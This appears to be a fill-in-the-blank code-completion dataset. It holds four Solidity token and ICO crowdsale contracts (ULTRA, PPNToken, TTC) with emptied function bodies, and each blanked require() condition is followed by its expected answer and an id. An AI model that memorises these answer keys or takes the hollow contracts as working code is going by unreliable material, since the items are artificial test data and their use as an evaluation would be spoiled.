pragma solidity ^0.6.0; // SPDX-License-Identifier: UNLICENSED /** * @title SafeMath * @dev Math operations with safety checks that throw on error * */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function ceil(uint a, uint m) internal pure returns (uint r) { } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() public virtual view returns (uint); function balanceOf(address tokenOwner) public virtual view returns (uint256 balance); function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining); function transfer(address to, uint256 tokens) public virtual returns (bool success); function approve(address spender, uint256 tokens) public virtual returns (bool success); function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // 'Ultra Token' token contract // Symbol : ULTRA // Name : Ultra Token // Total supply: 10,000,000 (10 Million) // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Token is ERC20Interface { using SafeMath for uint256; string public symbol = "ULTRA"; string public name = "Ultra Token"; uint256 public decimals = 18; uint256 _totalSupply = 10e6 * 10 ** (decimals); uint256 deployTime; uint256 private totalDividentPoints; uint256 private unclaimedDividendPoints; uint256 pointMultiplier = 1000000000000000000; uint256 public stakedCoins; uint256 private rewardCoins; address marketingAdd = 0xec5Af8C0775A2599c7726d50824FC01b3d279023; address preSaleAdd = 0x70Fc9e16650F5A30fbf7041c161D49E93a7cb617; address teamAdd = 0x6089F0a52a0DBD55906DA7CeEDA052aa0B76f6A0; address uniSwapAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 public totalStakes; uint256 public teamLockedTokens; uint256 public totalRewardsClaimed; struct Account { uint256 balance; uint256 lastDividentPoints; uint256 timeInvest; uint256 lastClaimed; bool claimLimit; uint256 rewardsClaimed; uint256 totalStakes; } mapping(address => Account) accounts; mapping(address => bool) isInvertor; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { } function STAKE(uint256 _tokens) external returns(bool){ } function perDayShare(address investor) internal returns(uint256){ } function _perDayShare(address investor) private view returns(uint256){ } function pendingReward(address _user) external view returns(uint256){ } function updateDividend(address investor) internal returns(uint256){ } function activeStake(address _user) external view returns (uint256){ } function totalStakesTillToday(address _user) external view returns (uint256){ } function UNSTAKE() external returns (bool){ } function disburse(uint256 amount) internal{ } function dividendsOwing(address investor) internal view returns (uint256){ } function claimReward() external returns(bool){ } function roiAllClaimed(address _user) external view returns(bool roiClaimed){ } function rewardsClaimed(address _user) external view returns(uint256 rewardClaimed){ } /** ERC20Interface function's implementation **/ function totalSupply() public override view returns (uint256){ } // ------------------------------------------------------------------------ // Calculates onePercent of the uint256 amount sent // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) internal pure returns (uint256){ } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint256 balance) { } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public override returns (bool success) { // prevent transfer to 0x0, use burn instead require(address(to) != address(0)); require(balances[msg.sender] >= tokens ); require(balances[to] + tokens >= balances[to]); if(teamLockedTokens > 0 && msg.sender == teamAdd){ if(block.timestamp < deployTime.add(8 weeks)){ require(<FILL_ME>) } else teamLockedTokens = 0; } balances[msg.sender] = balances[msg.sender].sub(tokens); uint256 deduction = 0; if (address(to) != address(this) && address(to) != uniSwapAddress && address(to) != teamAdd && address(to) != marketingAdd && address(to) != preSaleAdd && msg.sender != uniSwapAddress && msg.sender != teamAdd && msg.sender != marketingAdd && msg.sender != preSaleAdd) { deduction = onePercent(tokens).mul(5); if (stakedCoins == 0){ burnTokens(deduction); } else{ burnTokens(onePercent(deduction).mul(2)); disburse(onePercent(deduction).mul(3)); } } balances[to] = balances[to].add(tokens.sub(deduction)); emit Transfer(msg.sender, to, tokens.sub(deduction)); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint256 tokens) public override returns (bool success){ } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){ } function _transfer(address to, uint256 tokens) internal returns(bool){ } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) { } // ------------------------------------------------------------------------ // Burn the ``value` amount of tokens from the `account` // ------------------------------------------------------------------------ function burnTokens(uint256 value) internal{ } }
balances[teamAdd].sub(tokens)>=teamLockedTokens,"tokens are locked for 8 weeks"
372,246
balances[teamAdd].sub(tokens)>=teamLockedTokens
null
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } } /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLib { function times(uint a, uint b) internal pure returns (uint) { } function minus(uint a, uint b) internal pure returns (uint) { } function plus(uint a, uint b) internal pure returns (uint) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns (uint256 balance) { } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is StandardToken { /* Interface declaration */ function isToken() public pure returns (bool weAre) { } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { } function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) { } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) { } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableToken is StandardTokenExt, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); event Minted(address receiver, uint amount); /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { } modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens require(<FILL_ME>) _; } /** Make sure we are not done yet. */ modifier canMint() { } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public pure returns (bool) { } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardTokenExt { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) public { } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { } /** * Child contract can enable to provide the condition when the upgrade can begun. */ /* conflict with CrowdsaleToken.canUpgrade */ /* function canUpgrade() public returns(bool) { */ /* return true; */ /* } */ } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint public decimals; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) public UpgradeableToken(msg.sender) { } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public view returns(bool) { } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) public onlyOwner { } } contract PPNToken is CrowdsaleToken { uint public maximumSupply; function PPNToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _maximumSupply) public CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) { } /** * Throws if tokens will exceed maximum supply */ modifier notExceedMaximumSupply(uint amount) { } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) notExceedMaximumSupply(amount) public { } }
mintAgents[msg.sender]
372,252
mintAgents[msg.sender]
null
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } } /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLib { function times(uint a, uint b) internal pure returns (uint) { } function minus(uint a, uint b) internal pure returns (uint) { } function plus(uint a, uint b) internal pure returns (uint) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns (uint256 balance) { } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is StandardToken { /* Interface declaration */ function isToken() public pure returns (bool weAre) { } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { } function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) { } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) { } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableToken is StandardTokenExt, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); event Minted(address receiver, uint amount); /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { } modifier onlyMintAgent() { } /** Make sure we are not done yet. */ modifier canMint() { } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public pure returns (bool) { } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardTokenExt { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) public { } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { } /** * Child contract can enable to provide the condition when the upgrade can begun. */ /* conflict with CrowdsaleToken.canUpgrade */ /* function canUpgrade() public returns(bool) { */ /* return true; */ /* } */ } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint public decimals; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) public UpgradeableToken(msg.sender) { } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public view returns(bool) { } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) public onlyOwner { } } contract PPNToken is CrowdsaleToken { uint public maximumSupply; function PPNToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _maximumSupply) public CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) { } /** * Throws if tokens will exceed maximum supply */ modifier notExceedMaximumSupply(uint amount) { require(<FILL_ME>) _; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) notExceedMaximumSupply(amount) public { } }
totalSupply.plus(amount)<=maximumSupply
372,252
totalSupply.plus(amount)<=maximumSupply
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { require(<FILL_ME>) _; } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
(now>=PRE_START_TIME)&&(now<PRE_END_TIME)||(now>=MAIN_START_TIME)&&(now<MAIN_END_TIME)
372,255
(now>=PRE_START_TIME)&&(now<PRE_END_TIME)||(now>=MAIN_START_TIME)&&(now<MAIN_END_TIME)
null
